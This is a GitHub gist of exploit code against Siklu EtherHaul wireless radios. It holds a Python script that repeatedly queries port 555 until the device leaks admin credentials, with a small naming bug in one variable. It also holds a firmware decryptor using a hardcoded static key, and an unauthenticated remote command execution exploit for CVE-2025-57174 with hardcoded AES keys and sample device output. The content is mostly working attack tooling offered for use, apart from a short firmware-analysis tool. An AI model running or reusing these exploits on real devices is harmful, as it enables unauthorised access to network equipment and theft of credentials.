Last active
September 24, 2025 22:24
-
-
Save ianling/c06636fba1b294393f0d3b7df082aa91 to your computer and use it in GitHub Desktop.
Siklu EtherHaul Show Password Exploit
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import socket | |
| from time import sleep | |
| address = '192.168.1.11' # the target | |
| port = 555 | |
| # set up binary strings to send to the radio | |
| root = bytearray(b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xad\x00\x00\x00\x00\x72\x6f\x6f\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') | |
| moinfo = bytearray(b'\x6d\x6f\x2d\x69\x6e\x66\x6f\x20\x73\x79\x73\x74\x65\x6d\x20\x3b\x20\x6e\x74\x70\x20\x3b\x20\x69\x70\x20\x3b\x20\x69\x70\x76\x36\x20\x3b\x20\x65\x74\x68\x20\x3b\x20\x61\x61\x61\x2d\x73\x65\x72\x76\x65\x72\x20\x3b\x20\x61\x61\x61\x20\x3b\x20\x73\x6e\x6d\x70\x2d\x6d\x6e\x67\x20\x3b\x20\x73\x6e\x6d\x70\x2d\x61\x67\x65\x6e\x74\x20\x3b\x20\x73\x79\x73\x6c\x6f\x67\x20\x3b\x20\x72\x6f\x75\x74\x65\x20\x3b\x20\x72\x6f\x75\x74\x65\x36\x20\x3b\x20\x70\x61\x73\x73\x77\x6f\x72\x64\x2d\x73\x74\x72\x65\x6e\x67\x74\x68\x20\x3b\x20\x75\x73\x65\x72\x20\x3b\x20\x61\x72\x70\x20\x3b\x20\x72\x6f\x6c\x6c\x62\x61\x63\x6b\x20\x3b\x20\x6c\x6c\x64\x70\x20\x3b\x20\x6c\x6c\x64\x70\x2d\x72\x65\x6d\x6f\x74\x65\x00') | |
| running = 1 | |
| while(running): # run repeatedly until it gives the password | |
| s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
| s.connect((address, port)) | |
| s.send(root) # send 'root' | |
| s.send(moinfo_long) # send 'mo-info system ; ...' | |
| sleep(4) # wait 4 seconds for a response | |
| data = s.recv(9192) | |
| if 'user admin' not in data: # see if we got user credential in the response | |
| sleep(4) # wait 4 more seconds | |
| data = s.recv(9192) | |
| if 'user admin' not in data: # check again | |
| print "Didn't get user info, closing socket and trying again" | |
| s.close() | |
| continue | |
| print data # print user data | |
| s.close() | |
| running = 0 |
Siklu EtherHaul Firmware Decryption
# siklu-sw-decryptor.py
#!/usr/bin/env python3
from Crypto.Cipher import AES
import hashlib
import sys
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <encrypted_file> [output_file]")
sys.exit(1)
print(f"[*] Reading encrypted file: {sys.argv[1]}")
with open(sys.argv[1], 'rb') as f:
data = f.read()
print(f"[+] File size: {len(data)} bytes")
footer = data[-32:]
encrypted = data[:-32]
print(f"[*] Extracted 32-byte footer")
print(f" Footer: {footer.hex()}")
if encrypted[:8] != b'Salted__':
print("[!] Error: Missing OpenSSL salt header")
sys.exit(1)
salt = encrypted[8:16]
ciphertext = encrypted[16:]
print(f"[+] Found OpenSSL header with salt: {salt.hex()}")
static = bytes([0x08,0x30,0x64,0xd1,0x3a,0xe7,0x44,0xc8,0x94,0x64,0x23,0x01,0x77,0xfb,0x90,0x77])
password = static + footer[:16]
print(f"[*] Building 32-byte password")
print(f" Static part: {static.hex()}")
print(f" Dynamic part: {footer[:16].hex()}")
print(f"[*] Deriving AES-256-CBC key using EVP_BytesToKey")
m1 = hashlib.md5(password + salt).digest()
m2 = hashlib.md5(m1 + password + salt).digest()
m3 = hashlib.md5(m2 + password + salt).digest()
key = m1 + m2
iv = m3[:16]
print(f" Key: {key.hex()}")
print(f" IV: {iv.hex()}")
if len(ciphertext) % 16 != 0:
pad_needed = 16 - (len(ciphertext) % 16)
print(f"[*] Padding ciphertext with {pad_needed} zero bytes")
ciphertext += b'\x00' * pad_needed
print(f"[*] Decrypting {len(ciphertext)} bytes with AES-256-CBC")
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(ciphertext)
pad = plaintext[-1]
if 1 <= pad <= 16 and all(b == pad for b in plaintext[-pad:]):
print(f"[*] Removing PKCS7 padding ({pad} bytes)")
plaintext = plaintext[:-pad]
output_file = sys.argv[2] if len(sys.argv) > 2 else 'siklu-decrypted.bin'
with open(output_file, 'wb') as f:
f.write(plaintext)
if plaintext[:4] == b'\x27\x05\x19\x56':
print(f"[*] Successfully decrypted to {output_file}")
print(f" Output size: {len(plaintext)} bytes")
print(f" Magic: 0x{plaintext[:4].hex().upper()} (U-Boot image)")
else:
print(f"Decryption failed: 0x{plaintext[:4].hex().upper()}")CVE-2025-57174 - Siklu EtherHaul Series - Unauthenticated Remote Command Execution
# Exploit Title: Siklu EtherHaul Series - Unauthenticated Remote Command Execution
#!/usr/bin/env python3
import argparse, socket, struct
from Crypto.Cipher import AES
PORT = 555
HDR_LEN = 0x90
IV0 = struct.pack('<4I', 0xEA703B82, 0x75A9A17B, 0x1DFC7BB9, 0x55A24D72)
KEY = bytes([
0x89,0xE7,0xFF,0xBE,0xEB,0x2D,0x73,0xF5,
0xA9,0x10,0xFC,0x42,0x5B,0x1F,0x36,0x17,
0x9F,0xB9,0x5E,0x75,0x35,0xA3,0x42,0xA0,
0x5D,0x02,0x48,0xB1,0x19,0xD2,0x4B,0x82
])
def recv_exact(sock: socket.socket, n: int) -> bytes:
out = bytearray()
while len(out) < n:
chunk = sock.recv(n - len(out))
if not chunk:
raise ConnectionError('socket closed')
out += chunk
return bytes(out)
def pad16_zero(b: bytes) -> bytes:
r = len(b) & 0x0F
return b if r == 0 else (b + b'\x00' * (16 - r))
def hdr_checksum(hdr: bytes) -> int:
return (sum(hdr[0:0x0C]) + sum(hdr[0x10:HDR_LEN])) & 0xFFFFFFFF
def build_header(flag: int, msg: int, payload_len: int) -> bytes:
hdr = bytearray(HDR_LEN)
hdr[0] = flag & 0xFF
hdr[1] = msg & 0xFF
struct.pack_into('<I', hdr, 0x08, payload_len & 0xFFFFFFFF)
struct.pack_into('<I', hdr, 0x0C, hdr_checksum(hdr))
return bytes(hdr)
class RFPipeSession:
def __init__(self, key: bytes, iv0: bytes):
self.key = key
self.send_iv = iv0
self.recv_iv = iv0
def enc_send(self, sock: socket.socket, data: bytes) -> None:
cipher = AES.new(self.key, AES.MODE_CBC, iv=self.send_iv)
ct = cipher.encrypt(data)
self.send_iv = ct[-16:]
sock.sendall(ct)
def dec_recv(self, sock: socket.socket, n_plain: int) -> bytes:
if n_plain <= 0:
return b''
n_padded = (n_plain + 15) & ~15
ct = recv_exact(sock, n_padded)
cipher = AES.new(self.key, AES.MODE_CBC, iv=self.recv_iv)
pt = cipher.decrypt(ct)
self.recv_iv = ct[-16:]
return pt[:n_plain]
def send_header(self, sock: socket.socket, hdr_plain: bytes) -> None:
if len(hdr_plain) != HDR_LEN:
raise ValueError('header must be 0x90 bytes')
self.enc_send(sock, hdr_plain)
def recv_header(self, sock: socket.socket) -> bytes:
ct = recv_exact(sock, HDR_LEN)
cipher = AES.new(self.key, AES.MODE_CBC, iv=self.recv_iv)
pt = cipher.decrypt(ct)
self.recv_iv = ct[-16:]
return pt
def connect_any(host: str, port: int) -> socket.socket:
infos = socket.getaddrinfo(host, port, socket.AF_UNSPEC, socket.SOCK_STREAM)
last_err = None
for fam, st, proto, _, sa in infos:
s = socket.socket(fam, st, proto)
try:
s.connect(sa)
return s
except Exception as e:
last_err = e
s.close()
raise ConnectionError(f'connect failed: {last_err}')
def main():
ap = argparse.ArgumentParser(description='rfpiped command client (msg 0x01)')
ap.add_argument('target', help='IPv4/IPv6 address')
ap.add_argument('command', help='command string (e.g., "mo-info system")')
ap.add_argument('--nul', action='store_true', help='append NUL terminator to command')
ap.add_argument('--recv', action='store_true', help='receive and print response')
args = ap.parse_args()
payload = args.command.encode('utf-8')
if args.nul:
payload += b'\x00'
hdr_plain = build_header(flag=0x00, msg=0x01, payload_len=len(payload))
sess = RFPipeSession(KEY, IV0)
with connect_any(args.target, PORT) as s:
sess.send_header(s, hdr_plain)
if payload:
sess.enc_send(s, pad16_zero(payload))
if args.recv:
rh = sess.recv_header(s)
flag = rh[0]; rmsg = rh[1]
rlen = struct.unpack_from('<I', rh, 0x08)[0]
print(f'Response: flag=0x{flag:02x} msg=0x{rmsg:02x} length={rlen}')
if rmsg in (0x03, 0x05):
return
if rlen:
body = sess.dec_recv(s, rlen)
if body.endswith(b'\x00'):
body = body[:-1]
try:
print(body.decode('utf-8', errors='replace'))
except Exception:
print(body.hex())
if __name__ == '__main__':
main()python3 CVE-2025-57174.py 172.16.100.52 'simple-command show system' --nul --recv
Response: flag=0x00 msg=0x01 length=584
<end-code>ok</end-code><text>
system description : EH-8010FX-L
system snmpid : .1.3.6.1.4.1.31926
system uptime : 0028:22:01:51
system contact : undefined
system name : EH-8010FX-L
system location : undefined
system voltage : poe (injector)
system temperature : 47
system date : 2025.09.24
system time : 14:56:50
system cli-timeout : 15
system loop-permission : enabled
</text>
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
CVE-2025-57176 - Siklu EtherHaul Series - Unauthenticated Arbitrary File Upload